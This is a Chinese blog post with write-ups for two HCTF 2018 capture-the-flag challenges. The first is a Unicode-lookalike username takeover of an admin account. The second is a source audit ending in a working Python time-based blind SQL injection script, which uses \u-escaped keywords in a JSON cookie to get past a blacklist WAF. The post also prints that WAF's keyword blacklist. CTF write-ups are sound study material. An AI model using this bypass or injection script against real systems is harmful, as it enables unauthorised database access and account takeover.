Hpdoger's Blog.

HCTF题解

Word count: 897 / Reading time: 4 min
2018/11/13 Share

HCTF题解

admin

思路

提示只有admin才能查看

注册账号功能,发现注册大写和小写会提示重名注册。
也就是说 ADMIN<=>admin

有一篇文章将Unicode安全,提到的一个python函数canonical_username,这个函数会把类似的unicode字符做一个与chrome的地址栏里相似的转换,举个例子
BIG会被转换为big。ᴬᴬᴬ,经过函数处理
后变成了AAA

  1. 我们注册形似ADMIN的名字
  2. 后台函数处理把形似ADMIN转换为ADMIN
  3. 修改ADMIN的密码,相当于修改admin的密码
  4. 登陆admin获得flag

相当于一个越权

相关链接

Unicode安全:http://blog.lnyas.xyz/?p=1411
Unicode近似字合集:https://www.compart.com/en/unicode/category/Lm

kznoe

解析

拿到题目发现砝码泄露,down了一份www.zip开始审

一眼看到sql文件,打开看看执行了哪些语句,发现后台账号密码

1
2
INSERT INTO `fish_admin` (`id`, `username`, `password`, `name`, `qq`, `per`) VALUES
(1, 'admin', '21232f297a57a5a743894a0e4a801fc3', '小杰', '1503816935', 1);

登陆失败,被改了密码,开始审计

审计

整个钓鱼网站的大致结构:

根目录index.php跳转页

admin目录

admin目录下是钓鱼后台的管理,login逻辑判断登陆

include目录。

include下是配置文件,common入口文件包含了过滤和验证内容,其中:

  1. safe.php写了过滤规则,任何GET\POST\COOKIE请求的参数会经过filter
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    function waf($string)
    {
    $blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i'; // and updatexml(1,concat(0x7e,database())
    return preg_replace_callback($blacklist, function ($match) {
    return '@' . $match[0] . '@';
    }, $string);
    }

    function safe($string)
    {
    if (is_array($string)) {
    foreach ($string as $key => $val) {
    $string[$key] = safe($val);
    }
    } else {
    $string = waf($string);
    }
    return $string;
    }

匹配到这些会在关键字前后添加@

  1. member根据cookie判断是否已经登陆
  2. founction封装了一些功能函数
  3. db.class一些执行的sql语句

思路

ip

刚开始审的时候看到了insert把ip入库,而且ip的获取是这样的:

不用经过safe的过滤,但是下面的ip2long会把超限度的ip置空,因此ip注入行不通

bypass

因为有全局过滤safe,所以一开始在想可不可以bypass掉,用hex绕过is_number的检测,使我们注入的语句不会经过filter。确实成功执行了我用hex传入的语句,但是mysql仅仅是把hex的值入库了,也无法进行二次利用。

member.php

当时他们说可以用json形式的cookie注入,unicode编码绕过于是去看cookie逻辑登陆的地方

cookie传入参数login_data解析查库,用了json_decode,那么就可以用unicode编码无视过滤

剩下的就是编写tamper脚本了,把payload替换成unicode。但是看到了微笑师傅的一个py脚本,不借助sqlmap,觉得写的很好,贴出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*- coding: utf-8 -*-
import requests
import string


url = 'http://kzone.2018.hctf.io/include/common.php'
str1 = string.ascii_letters+string.digits+'{}!@#$*&_,'


def check(payload):
cookie={
'PHPSESSID':'8ehnp28ccr4ueh3gnfc3uqtau1',
'islogin':'1',
'login_data':payload
}
try:
requests.get(url,cookies=cookie,timeout=3)
return 0
except:
return 1

result=''
for i in range(1,33):
for j in str1:
payload = '{"admin_user":"admin\'/**/and/**/\\u0069f(\\u0061scii(\\u0073ubstr((select/**/table_name/**/from/**/inf\\u006Frmation_schema.tables/**/where/**/table_schema\\u003ddatabase()/**/limit/**/0,1),%s,1))\\u003d\'%s\',\\u0073leep(4),1)/**/and/**/\'1"}'% (str(i),ord(j))
payload = '{"admin_user":"admin\'/**/and/**/\\u0069f(\\u0061scii(\\u0073ubstr((select/**/F1a9/**/from/**/F1444g),%s,1))\\u003d%s,\\u0073leep(4),1)/**/and/**/\'1","admin_pass":"123"}'% (str(i),ord(j))
#print('[+]'+payload)
if check(payload):
result += j
break
print(result)

只要是请求的页面包含common.php此脚本都能行得通,因为会引入member.php

CATALOG
  1. 1. HCTF题解
  2. 2. admin
    1. 2.1. 思路
    2. 2.2. 相关链接
  3. 3. kznoe
    1. 3.1. 解析
    2. 3.2. 审计
      1. 3.2.1. admin目录
      2. 3.2.2. include目录。
    3. 3.3. 思路
      1. 3.3.1. ip
      2. 3.3.2. bypass
      3. 3.3.3. member.php